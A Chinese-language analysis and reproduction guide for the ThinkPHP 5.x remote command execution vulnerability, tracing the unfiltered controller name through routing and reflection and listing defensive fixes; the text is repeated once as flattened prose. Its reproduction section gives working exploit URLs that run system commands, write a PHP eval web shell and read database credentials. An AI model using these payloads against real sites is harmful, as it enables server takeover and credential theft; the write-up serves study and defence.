ThinkPHP远程命令执行漏洞原理及复现
字数 1546 2025-08-18 11:39:19

ThinkPHP远程命令执行漏洞分析与复现指南

漏洞概述

ThinkPHP框架在5.0.5-5.0.23和5.1.0-5.1.31版本中存在远程命令执行漏洞,由于框架对控制器名没有进行足够的检测,导致在没有开启强制路由的情况下可能被攻击者利用来执行任意代码。

影响版本

  • ThinkPHP 5.1.0 - 5.1.31
  • ThinkPHP 5.0.5 - 5.0.23

环境搭建

  1. 下载受影响版本的ThinkPHP框架:
    • 官方下载地址:http://www.thinkphp.cn/donate/download/id/1125.html
  2. 解压到Web服务器目录(如Apache的/var/www/html/)
  3. 确保PHP环境正常运行

漏洞原理分析

关键代码路径

  1. 路由检测入口/thinkphp/library/think/App.php 第120行

    • 通过self::routerCheck函数进行路由检测
    • 进入$request->path()函数
  2. 路径处理/thinkphp/library/think/Request.php

    • 第416行:进入pathinfo()函数
    • 第384行:Config::get('var_pathinfo')获取配置参数(默认值为's')
    • 从GET参数中获取值并赋值给路由检测中的$path
  3. 路由解析/thinkphp/library/think/App.php 第606行

    • 进行路由检测后进入else分支导入路由配置
    • 检测路由url调度结果为$result
    • 如果调度失败且开启了强制路由$must,则报出路由无效
    • 进入Route::parseUrl函数,根据$path(自定义url)解析操作
  4. URL解析/thinkphp/library/think/Route.php

    • 第1208行:进入parseUrl函数
    • 第1275行:parseUrlPath函数将模块/控制器/操作的url地址分割成数组返回
    • 第1217行:返回的结果赋值为$path,提取路由信息封装到$route
  5. 执行流程/thinkphp/library/think/App.php 第120行

    • 进入self::exec函数
    • 第445行:模块/控制器/操作的函数为self::module
    • 第494行:module函数根据配置判断模块部署方式
    • 关键问题:$controller没有进行充分过滤
  6. 反射调用

    • 最终进入self::invokeMethod函数(第329行)
    • 通过反射ReflectionMethod获取对象方法
    • $args = self::bindParams($reflect, $vars)获取传入参数(即payload)
    • $reflect->invokeArgs($args)执行反射调用,完成代码执行

漏洞复现

基本利用方式

  1. 执行系统命令

    http://target-domain/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
    
    • whoami替换为任意系统命令(特殊字符需URL编码)
  2. 查看PHP信息

    http://target-domain/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
    

    http://target-domain/public/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100
    
  3. 写入Web Shell

    http://target-domain/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22snowwolf%22])?^%3E%3Eshell.php
    
    • 写入一句话木马后可通过snowwolf参数执行任意PHP代码
  4. 获取数据库信息

    http://target-domain/thinkphp/public//?s=.|think\config/get&name=database.username
    
    • username改为password可获取数据库密码

防御措施

  1. 升级到ThinkPHP官方最新版本
  2. 开启强制路由配置:
    // application/config.php
    'url_route_must' => true,
    
  3. 对控制器名进行严格过滤
  4. 禁用危险函数如systemexec
  5. 部署WAF防护

总结

该漏洞源于ThinkPHP框架对控制器名的过滤不严,结合反射机制实现了任意代码执行。攻击者可通过精心构造的URL直接执行系统命令或写入Web Shell,危害极大。建议受影响用户立即升级或采取防护措施。

ThinkPHP远程命令执行漏洞分析与复现指南 漏洞概述 ThinkPHP框架在5.0.5-5.0.23和5.1.0-5.1.31版本中存在远程命令执行漏洞,由于框架对控制器名没有进行足够的检测,导致在没有开启强制路由的情况下可能被攻击者利用来执行任意代码。 影响版本 ThinkPHP 5.1.0 - 5.1.31 ThinkPHP 5.0.5 - 5.0.23 环境搭建 下载受影响版本的ThinkPHP框架: 官方下载地址:http://www.thinkphp.cn/donate/download/id/1125.html 解压到Web服务器目录(如Apache的/var/www/html/) 确保PHP环境正常运行 漏洞原理分析 关键代码路径 路由检测入口 : /thinkphp/library/think/App.php 第120行 通过 self::routerCheck 函数进行路由检测 进入 $request->path() 函数 路径处理 : /thinkphp/library/think/Request.php 第416行:进入 pathinfo() 函数 第384行: Config::get('var_pathinfo') 获取配置参数(默认值为's') 从GET参数中获取值并赋值给路由检测中的 $path 路由解析 : /thinkphp/library/think/App.php 第606行 进行路由检测后进入else分支导入路由配置 检测路由url调度结果为 $result 如果调度失败且开启了强制路由 $must ,则报出路由无效 进入 Route::parseUrl 函数,根据 $path (自定义url)解析操作 URL解析 : /thinkphp/library/think/Route.php 第1208行:进入 parseUrl 函数 第1275行: parseUrlPath 函数将模块/控制器/操作的url地址分割成数组返回 第1217行:返回的结果赋值为 $path ,提取路由信息封装到 $route 执行流程 : /thinkphp/library/think/App.php 第120行 进入 self::exec 函数 第445行:模块/控制器/操作的函数为 self::module 第494行: module 函数根据配置判断模块部署方式 关键问题: $controller 没有进行充分过滤 反射调用 : 最终进入 self::invokeMethod 函数(第329行) 通过反射 ReflectionMethod 获取对象方法 $args = self::bindParams($reflect, $vars) 获取传入参数(即payload) $reflect->invokeArgs($args) 执行反射调用,完成代码执行 漏洞复现 基本利用方式 执行系统命令 : 将 whoami 替换为任意系统命令(特殊字符需URL编码) 查看PHP信息 : 或 写入Web Shell : 写入一句话木马后可通过 snowwolf 参数执行任意PHP代码 获取数据库信息 : 将 username 改为 password 可获取数据库密码 防御措施 升级到ThinkPHP官方最新版本 开启强制路由配置: 对控制器名进行严格过滤 禁用危险函数如 system 、 exec 等 部署WAF防护 总结 该漏洞源于ThinkPHP框架对控制器名的过滤不严,结合反射机制实现了任意代码执行。攻击者可通过精心构造的URL直接执行系统命令或写入Web Shell,危害极大。建议受影响用户立即升级或采取防护措施。